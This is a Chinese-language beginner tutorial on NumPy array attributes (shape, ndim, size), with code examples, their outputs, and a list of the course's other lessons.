Numpy數組屬性探索
學習目標
通過本課程的學習，學員將掌握Numpy數組的基本屬性，如形狀（shape）、維度（ndim）和大小（size），并能夠通過實際操作加深對這些屬性的理解。
相關知識點
Numpy數組屬性
學習內容
1 Numpy數組屬性
1.1 數組的形狀（shape）
數組的形狀是一個元組，表示數組在每個維度上的大小。例如，一個形狀為 (3, 4) 的數組是一個二維數組，它有3行4列。形狀屬性對于理解數組的結構至關重要，尤其是在處理多維數據時。
在Numpy中，可以通過 .shape 屬性來獲取數組的形狀。下面是一個簡單的例子，演示如何創建一個二維數組并獲取其形狀：
import numpy as np# 創建一個3行4列的二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]])
print("二維數組：")
print(array_2d)# 獲取數組的形狀
shape = array_2d.shape
print("數組的形狀：", shape)
輸出結果：
二維數組：
[[ 1 2 3 4][ 5 6 7 8][ 9 10 11 12]]
數組的形狀： (3, 4)
形狀屬性不僅幫助人們了解數組的結構，還可以用于數組的重塑。例如，可以將一個一維數組重塑為二維數組：
import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])
print("一維數組：")
print(array_1d)# 重塑為3行4列的二維數組
reshaped_array = array_1d.reshape(3, 4)
print("重塑后的二維數組：")
print(reshaped_array)
輸出結果：
一維數組：
[ 1 2 3 4 5 6 7 8 9 10 11 12]
重塑后的二維數組：
[[ 1 2 3 4][ 5 6 7 8][ 9 10 11 12]]
1.2 數組的維度（ndim）
數組的維度是指數組的軸數或秩。例如，一維數組的維度為1，二維數組的維度為2，三維數組的維度為3，依此類推。了解數組的維度對于處理多維數據非常重要，尤其是在進行數組操作時。
在Numpy中，可以通過 .ndim 屬性來獲取數組的維度。下面是一個例子，演示如何創建不同維度的數組并獲取其維度：
import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4])
print("一維數組：")
print(array_1d)
print("一維數組的維度：", array_1d.ndim)# 創建一個二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
print("二維數組：")
print(array_2d)
print("二維數組的維度：", array_2d.ndim)# 創建一個三維數組
array_3d = np.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])
print("三維數組：")
print(array_3d)
print("三維數組的維度：", array_3d.ndim)輸出結果：
一維數組：
[1 2 3 4]
一維數組的維度： 1
二維數組：
[[1 2 3 4][5 6 7 8]]
二維數組的維度： 2
三維數組：
[[[1 2][3 4]][[5 6][7 8]]]
三維數組的維度： 3
1.3 數組的大小（size）
數組的大小是指數組中元素的總數。了解數組的大小對于內存管理和數據處理非常有用，尤其是在處理大規模數據集時。
在Numpy中，可以通過 .size 屬性來獲取數組的大小。下面是一個例子，演示如何創建不同大小的數組并獲取其大小：
import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4])
print("一維數組：")
print(array_1d)
print("一維數組的大小：", array_1d.size)# 創建一個二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
print("二維數組：")
print(array_2d)
print("二維數組的大小：", array_2d.size)# 創建一個三維數組
array_3d = np.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])
print("三維數組：")
print(array_3d)
print("三維數組的大小：", array_3d.size)
輸出結果：
一維數組：
[1 2 3 4]
一維數組的大小： 4
二維數組：
[[1 2 3 4][5 6 7 8]]
二維數組的大小： 8
三維數組：
[[[1 2][3 4]][[5 6][7 8]]]
三維數組的大小： 8
通過本課程的學習，掌握了Numpy數組的基本屬性，包括形狀、維度和大小。這些屬性是處理多維數據的基礎，希望學員在實際應用中能夠靈活運用這些知識。
1. Numpy入門：數組操作與科學計算基礎
2. Numpy入門：多平臺安裝與基礎環境配置
3. Numpy數組創建與應用入門
4. Numpy數組屬性入門：形狀、維度與大小
5. Numpy數組索引與切片入門
6. Numpy數組操作入門：合并、分割與重塑
7. Numpy數學函數入門與實踐
8. Numpy數據分析基礎：統計函數應用
9. Numpy隨機數生成入門
10. Numpy線性代數基礎與實踐
11. Numpy文件操作入門：數組數據的讀取與保存
12. Numpy廣播機制入門與實踐
13. Numpy布爾索引與花式索引實戰
14. Numpy高效數據處理與優化
15. Numpy數據分析與圖像處理入門
